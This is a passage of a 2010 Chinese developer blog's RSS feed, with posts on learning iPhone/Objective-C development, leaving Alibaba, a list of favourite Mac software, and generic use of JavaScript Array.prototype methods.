<ul>
    <li>ObjC 语言本身 19%</li>
    <li>我不了解 ANSI C 12%</li>
    <li>Cocoa 实在太大了 11%</li>
    <li>内存管理 10%</li>
    <li>界面 UI 设计和开发 10%</li>
    <li>我习惯使用 Java 和 C 了 10%</li>
    <li>如何设计委托模式 8%</li>
    <li>Cocoa 模型等 8%</li>
    <li>我不了解面向对象编程（OOP） 8%</li>
    <li>我不清楚文档如何建立 5%</li>
    <li>Cocoa 的（库）绑定等 5%</li>
    <li>Xcode 工具使用 3%</li>
</ul>

<p>国内开发者还有个必须逾越的鸿沟，就是语言和社区问题。目前，国内 Apple 平台下的开发相关的中文书籍和文档几乎是缺失；国内的专业苹果开发论坛也屈指可数。</p>

<h2>值不值得？</h2><p>那么，该不该花那么多的时间在新平台上。这对于在有其他平台中有相关经验的人而言，这是个博弈的过程。</p>

<p>相对其他“传统的平台”，可以看到即将从事 iPhone 开发的开发者们都是看到 App Store 的直接利益而去。而传统的 8/2 原则在任何时候都会适用。</p>

<p>在即将饱和的市场中打开道口子，并不是件很容易的事情，这往往并不是技术上的问题。</p>

<p>相对在 Apple 平台下开发优势：</p>

<ol>
    <li>开发 iPhone 软件能直接带给开发者收益</li>
    <li>Apple 的用户群有相较高的消费能力</li>
    <li>Mac 下的软件相对较少，所以无竞争压力比较小</li>
    <li>Mac OS X 其实就是个 BSD（via）</li>
</ol>

<p>那么劣势也是相对比较的明显：</p>

<ol>
    <li>iPhone 其实是个半封闭的系统</li>
    <li>学习 ObjC 有很大的成本</li>
</ol>

<p>因此我的观点，如果你想在 Apple 平台下开发</p>

<ol>
    <li>你要熟悉 Apple 的产品，也就是首先么成为它的用户</li>
    <li>做好打“持久战”的准备，学习任何技术切忌浮躁</li>
    <li>改变目前开发平台下固有的观点，对于而言一切都是新的</li>
    <li>有必要的时间和精力</li>
</ol>

<p>再次需要提及的就是切忌浮躁，毕竟做好技术并不是件非常容易的事情，尤其是对于个全新的平台而言。短期内的收益平衡或许会很难做到，但相信一旦坚持下来终究会有回报。</p>

<p>PS，不喜欢 iSSH 占用一个 Dock 图标的用户，可以考虑试试我的修改版本，增加了重新链接、链接通知等功能：  <a href="http://code.google.com/p/issh-improved/" title="http://code.google.com/p/issh-improved/">http://code.google.com/p/issh-improved/</a></p>

<p><tt>-- EOF --</tt></p>


]]></content:encoded>
<slash:comments>7</slash:comments>
<comments>http://www.gracecode.com/archives/3026/#comments</comments>
<wfw:commentRss>http://www.gracecode.com/feed/archives/3023/</wfw:commentRss>
</item>
<item>
<title>阿里的味道</title>
<link>http://www.gracecode.com/archives/3025/</link>
<guid>http://www.gracecode.com/archives/3025/</guid>
<pubDate>Fri, 28 May 2010 22:34:27 +0800</pubDate>
<dc:creator>明城</dc:creator>
<description><![CDATA[http://farm5.static.flickr.com/4037/4647585758_62c3640a37.jpg

==故事==

背着背包，从走出公司的那一刻，思绪还是无法的平静。...]]></description>
<content:encoded xml:lang="zh-CN"><![CDATA[
<p><img src="http://farm5.static.flickr.com/4037/4647585758_62c3640a37.jpg" alt="http://farm5.static.flickr.com/4037/4647585758_62c3640a37.jpg" title="http://farm5.static.flickr.com/4037/4647585758_62c3640a37.jpg" /></p>

<h2>故事</h2><p>背着背包，从走出公司的那一刻，思绪还是无法的平静。已经从阿里离职了，但自己从潜意识中还在问我自己，“我真的离开了吗？以后我的脚步该走向哪里”。</p>

<p>回忆从那年的面试，有人问我，“您为什么来淘宝？”。那时的我很桀骜的回答，“因为离我住的地方近”。那时的我觉得，那些“语出惊人”的回答能搏得众人的眼球，显得自己很与众不同。</p>

<p>进入阿里，那种自我的感觉逐渐的被消灭，是因为周围的同事们用他们的行动无声地教会了我什么是团队。</p>

<p>回到家打开背包，整理我平时的物品，逐张的翻阅战友们给我写的明信片。那些煽情的字眼本人自诩为已经免疫，但看见每个人笔尖留下的字迹，已然深处的那跟神经已经被触动。</p>

<p>双手拿着的那些已经不是单单薄薄的几张纸，那是情。</p>

<h2>看·想</h2><p>记得阿里对自己公司的介绍，“阿里巴巴是家理想主义驱动的公司”。记得有朋友开玩笑的说到，只要在阿里混过的员工，我不面试直接就可以让他进来我公司，因为他们不知道什么是上班、什么是下班、什么是加班。</p>

<p>是的，“人没有理想和咸鱼没区别”，在公司每个人都在为自己的理想而在拼命的工作。</p>

<p>然而在我看来，阿里仍然有很多的问题。去年的九月刚过完它的十周年生日，如果将公司比喻为个人的话，那么他已经是名小学生，而这名学生需要学习的地方仍然有很多。</p>

<p>我担心由于人员的增长，那份原本属于学生的童真和幼稚将不复存在。公司的价值观如果被稀释，那么剩下的仅仅是具没有灵魂的躯壳。</p>

<p>同时，阿里仍在不断地做着加法而忘记了沉淀。从技术角度上说，底层的基础没有打好，那么楼越高越是显得危险。</p>

<h2>悟道</h2><p>躺在沙发上细细品读《阿里味》，也只有这个时候才有时间仔细得阅读其中的文字。</p>

<p>那些字里行或许煽情、或许木讷的文字已然都被同时印在这本小小的册子上。品读书中的每一个故事，犹如那也是我真实的经历 -- 在同个办公地点，呼吸着同样的空气，那些可爱的人，其实就在你身边埋头敲着代码。</p>

<p>阿里的味道，犹如那瓶瓶罐罐的调味料，酸甜苦辣咸五味具呈。比如那些贵重物品忘记带，第二天被保安’贴纸条‘的那份感动、项目延期、被无休止的 Bug 折腾得那些怨念和惆怅、项目顺利发布的那些许的自豪和成就感…</p>

<p>此时此刻这些在平时平常得无法再平常，细微得无法再细微的事情，都在被无形得放大，犹如幻灯片一样，在脑海中不断地被轮播。 而我知道，不管怎么样，不论我以后的脚步在哪里。我对我在阿里付出的 822 天青春，不会感到任何的惋惜和后悔。</p>

<p>因为，我已经是名阿里人。</p>

<p><tt>-- EOF --</tt></p>


]]></content:encoded>
<slash:comments>59</slash:comments>
<comments>http://www.gracecode.com/archives/3025/#comments</comments>
<wfw:commentRss>http://www.gracecode.com/feed/archives/3023/</wfw:commentRss>
</item>
<item>
<title>我常用的 Mac 软件</title>
<link>http://www.gracecode.com/archives/3024/</link>
<guid>http://www.gracecode.com/archives/3024/</guid>
<pubDate>Sun, 09 May 2010 23:22:13 +0800</pubDate>
<dc:creator>明城</dc:creator>
<description><![CDATA[Fenng 搞了台 mbp，[[http://dbanotes.net/windows_software_list.html|正在折腾 Mac 常用的软件]]，我这里也总结下日常我经常使用的 Mac
...]]></description>
<content:encoded xml:lang="zh-CN"><![CDATA[
<p>Fenng 搞了台 mbp，<a href="http://dbanotes.net/windows_software_list.html" title="http://dbanotes.net/windows_software_list.html">正在折腾 Mac 常用的软件</a>，我这里也总结下日常我经常使用的 Mac 软件。PS，如果你机子比较老，<a href="http://www.gracecode.com/archives/1956/" title="http://www.gracecode.com/archives/1956/">可以看下我几年前的列表</a>。</p>

<p>偷懒一下，下面的软件就不逐个做连接了，相信搜索他们的名字就能得到想要的结果。</p>

<h2>我选择软件的原则</h2><ol>
    <li>尽可能的自动化，并占用资源少</li>
    <li>界面和功能过于复杂的不用。因为通常一个巨型牛逼的软件都会被两三个“简单”软件打倒</li>
    <li>不追求版本号，够用就行，哪怕是几年前的“火星”软件</li>
</ol>

<h2>浏览器</h2><p>我最常用的浏览器是 Chrome，其实系统自带的 Safari 已经足够好用（支付宝控件什么时候能在 Chrome 下使用呀）。使用 Chrome 的原因是有</p>

<ol>
    <li>书签能够和其他机子同步 </li>
    <li>速度快 </li>
    <li>真的是习惯了</li>
</ol>

<p>Firefox 已经被我沦落为开发工具，除了开发平时不会开启这个“巨无霸”。</p>

<h2>编辑器</h2><p>很开心 Mac 下有对应的 Vim 版本：MacVim，这是我用过的最舒服的 Vim 版本，甚至我觉得比 Windows 下的 gVim 还要舒服。</p>

<p>顺便说一下，MacVim 还在开发中，如果下载官方正式版碰到很多诡异的问题，<a href="http://gracecode.googlecode.com/files/MacVim_%28x86_64%29.zip" title="http://gracecode.googlecode.com/files/MacVim_%28x86_64%29.zip">可以尝试下我的编译版本</a>。</p>

<p>其他的如 Coda 、BBEdit 等都尝试过，但是我的真的是太过于“依赖”Vim 了，所以请不要再向我“推销”其他编辑器了。</p>

<p>还有个就是其实系统自带的“文本编辑”也足够我使用，类似 Windows 下的“记事本”一样。</p>

<p>PS，用 Emacs 的达人，可以 Aquamacs Emacs ，据说这玩意也很靠谱。</p>

<h2>看图</h2><p>因为我用的是 10.6.3 的系统，所以一般看图片仅仅是简单的敲下空格，使用 QuickLook 就可以。</p>

<p>在 Mac 还没有我喜欢的 Windows 下的类似 IrfanView 的软件，不过如果单纯是看图片的话，其实 Xee 其实也凑合。</p>

<p>如果需要批量处理图片，那么我会用 ImageMagick，虽然这是控制台下的工具，但学习掌握它绝对不会浪费你的时间。</p>

<h2>下载</h2><p>电驴在 Mac 下有对应的版本，如果想用类似迅雷的工具，那么还是用 Windows 吧。iGetter 以及 SpeedDownload 都是好的下载工具。两者都是收费软件，但 Google 下还是会有惊喜的。</p>

<p>如果是 FTP 软件，那么 Cyberduck 是第一选择，如果觉得“免费的不靠谱”那么推荐使用 Transmit。需要 BT 下载的，推荐使用 Transmission 。</p>

<h2>聊天</h2><p>QQ 有 Mac 下的版本。其他常用的 IM 可以考虑使用 Adium，支持 Gtalk、MSN 等等。不过个人用了一段时间，还是用回 iChat 了，无他就是因为双方的 Gtalk 用户都用 iChat 能够语音聊天。</p>

<p>如果想用旺旺的话，暂时会悲剧下。如果非用 Mac 不可，那么可以考虑暂时使用 iWangWang 顶下。相信 Mac 版本的阿里旺旺会很快就能出来。</p>

<h2>UML & 脑图</h2><p>我的眼里只有一个软件：OmniGraffle，甚至据说很多人因为这个软件而买 Mac 。它能完成的事情实在是太多了，你要亲自尝试下在能了解它的功能。PS，Omni 公司出品的系列软件都可以尝试下，非常的经典。</p>

<p>还有个选择就是 NovaMind ，不过不知道是不是我人品的问题，当节点一多反映就会很慢。</p>

<h2>幻灯片 & 文档编辑</h2><p>这个没话说，Keynote 就能完成我所有的应用了。Office 套件在 Mac 下的选择太多了，但基本上分成三大类：Apple iWork、Microsoft Office for Mac、NeoOffice/OpenOffice。</p>

<h2>开发环境</h2><p>如果要在 Mac 下开发，那么 XCode 是必须安装的。下载个 iPhone 的 SDK 基本上 gcc、make 等工具都全给你安装好了 -- 谁让 Mac OS X 和 BSD 的渊源那么深呢？</p>

<p>说到 BSD ，相信你很希望能使用类似 ports 的软件包更新、安装环境。MacPorts 是个好的选择，但是它实在是太老了。</p>

<p>如果你想尝鲜，那么 <a href="http://github.com/mxcl/homebrew" title="http://github.com/mxcl/homebrew">Brew 是个非常好的选择</a>，我个人用 Brew 废弃了 MacPorts。</p>

<p>还有比如 Windows 类似 SecureCRT 等的软件功能，通常使用 <tt>expect + 终端</tt> 就能够搞定。</p>

<h2>备份&系统维护</h2><p>备份通常我用 rsync 和 TimeMachine 组合，其实 Mac 下如果你用 TimeMachine 并记得定时备份的话，数据这快就可以高枕无忧了。</p>

<p>系统维护的软件有一大堆，个人经常使用的是 Onyx、CleanMyMac，其实我并不怎么清理什么“系统垃圾”。</p>

<p>如果悲剧得误删除了数据，那么还可以尝试下 Data Rescue II，它曾经为我挽回了很重要的数据，顺便感谢下。</p>

<h2>视频相关</h2><p>Mac 下的播放器其实是个悲剧，不是因为没有，而因为是像是“全真七子”-- 加起来都打不过 Windows 下的 kmplayer。</p>

<p>目前用着比较舒服的是 MPlayerX、Movist 和 VLC。如果要看高清的话，推荐使用 Plex，用最新的编译版本支持显卡硬解码，温度会降下不少。</p>

<p>如果需要转换视频和音频，那么推荐使用 Any Video Converter Pro、All2MP3、Audio Hijack Pro 等等。</p>

<h2>其他工具类</h2><ol>
    <li>输入法我现在用 SunPinyin，尝试过 FIT 和 QIM。但因为 FIT 首次启动比较慢，QIM 是收费软件而且和 Chrome 有小的问题</li>
    <li>解压缩软件我用的是 Rucksack，因为它是我在它活动的时候免费得到的</li>
    <li>Acorn 和 Pixelmator 都是个非常好的 Photoshop 替代工具，话说 Adobe 的软件在 Mac 都是悲剧</li>
    <li>CopyPaste Pro 是 Mac 下的多重剪贴板增强工具，推荐必装</li>
    <li>Dropbox 在 Mac 下也有对应的客户端</li>
    <li>想要理财的话，推荐安装 iCompta</li>
    <li>KeyCue 能帮你显示当前软件的所有快捷键</li>
    <li>对鼠标的加速度不习惯的话，使用 SteerMouse 调整下看看</li>
    <li>Flux 能改变显示器的色温，从而达到保护眼睛的目的，但并不是所有人都喜欢它</li>
</ol>

<p>最后，Show 下我的 Mac 桌面</p>

<p><img src="http://pic.yupoo.com/feelinglucky/5027594a3971/medium.png" alt="http://pic.yupoo.com/feelinglucky/5027594a3971/medium.png" title="http://pic.yupoo.com/feelinglucky/5027594a3971/medium.png" /></p>

<p>各位有什么其他的好软件推荐，欢迎不吝提供。</p>

<p><tt>-- EOF --</tt></p>


]]></content:encoded>
<slash:comments>39</slash:comments>
<comments>http://www.gracecode.com/archives/3024/#comments</comments>
<wfw:commentRss>http://www.gracecode.com/feed/archives/3023/</wfw:commentRss>
</item>
<item>
<title>Array.prototype 的泛型应用</title>
<link>http://www.gracecode.com/archives/3023/</link>
<guid>http://www.gracecode.com/archives/3023/</guid>
<pubDate>Wed, 28 Apr 2010 23:40:20 +0800</pubDate>
<dc:creator>明城</dc:creator>
<description><![CDATA[在开始这篇文章之前，按照“惯例”我们先来道题目（[[http://james.padolsey.com/javascript/another-javascript-quiz/|出处]]）。

==...]]></description>
<content:encoded xml:lang="zh-CN"><![CDATA[
<p>在开始这篇文章之前，按照“惯例”我们先来道题目（<a href="http://james.padolsey.com/javascript/another-javascript-quiz/" title="http://james.padolsey.com/javascript/another-javascript-quiz/">出处</a>）。</p>

<h2>题目</h2><p>请说明下面语句的输出：</p>

<pre>x = {shift:[].shift};
x.shift();
console.info(x.length);</pre><p>如果你回答正确，那么说明你已经了解 Array 函数的泛型应用。在理解这到题目之前，我 我们首先要了解数组（Array）的 shift 定义。</p>

<p><a href="https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Objects/Array/shift" title="https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Objects/Array/shift">MDC 中已经对相关的说明</a>描述得非常的清楚</p>

<pre>shift is intentionally generic; this method can be called or 
applied to objects resembling arrays. Objects which do not 
contain a length property reflecting the last in a series of 
consecutive, zero-based numerical properties may not behave 
in any meaningful manner.</pre><p>同时，EMCAScript 中的定义也同时定义了对于 shift 操作对于对象 length 属性的改变， 那么基本上我们可以了解到上题中的答案为</p>

<pre>0</pre><h2>扩散思维</h2><p>如果对于上面的题目还无法理解，那么我们更清楚的说明 Array.prototype.shift 对对象 的 length 的影响。</p>

<pre>x = {};
Array.prototype.shift.call(x);
console.info(x.length);</pre><p>很明显，对于对象如果为定义 length 属性，则 shift 则会自动加上 length 属性并设置 为 <tt>0</tt> 。</p>

<p>既然已经说到这里，那么下面的题目输出什么留给大家去思考。</p>

<pre>x = function (a, b, c) {};
Array.prototype.shift.call(x);
console.info(x.length);</pre><h2>重新认识泛型</h2><p>很明显，上面的题目有可能还是无法说明本篇文章的题目。泛型（Generic）应用其实 <a href="http://www.gracecode.com/archives/2197/" title="http://www.gracecode.com/archives/2197/">期前也说明过</a>，但这里主要说明  <a href="https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Global_Objects/Array" title="https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Global_Objects/Array">Array 方法</a>对于“类数组”的操作使用。</p>

<h3>强制转换为数组</h3><pre>var args = Array.prototype.slice.call(arguments);</pre><p>这个用法比较火星，其实期前也用过，<a href="http://www.gracecode.com/archives/2551/" title="http://www.gracecode.com/archives/2551/">详细参见这里</a>。</p>

<h3>迭代数据</h3><pre>Array.prototype.forEach.call(arguments, function(i) {
    console.info(i);
});</pre><p>如果对象能够被递归，则出了“传统”的 for、while 等语句以外，还可以考虑使用 Array 的 forEach 属性（注意 IE 会是悲剧）。<a href="https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Global_Objects/Array/forEach" title="https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Global_Objects/Array/forEach">Array 的 forEach 方法详见这里</a>。</p>

<p>其他的 Array 扩展用法可以散发自己的思维，如果对应浏览器的 Array 没有对应的实现方 法，<a href="http://www.gracecode.com/archives/1507/" title="http://www.gracecode.com/archives/1507/">可以参见这里</a>。</p>

<p>其实，不仅仅是 Array 方法，很多浏览器原生对象的方法都是泛型，我们完全可以利用这 这些特性</p>

<ol>
    <li>使代码更为的清晰</li>
    <li>使用原生方法，效率更高。</li>
</ol>

<p><tt>-- EOF --</tt></p>


]]></content:encoded>
<slash:comments>3</slash:comments>
<comments>http://www.gracecode.com/archives/3023/#comments</comments>
<wfw:commentRss>http://www.gracecode.com/feed/archives/3023/</wfw:commentRss>
</item>
</channel>
</rss>
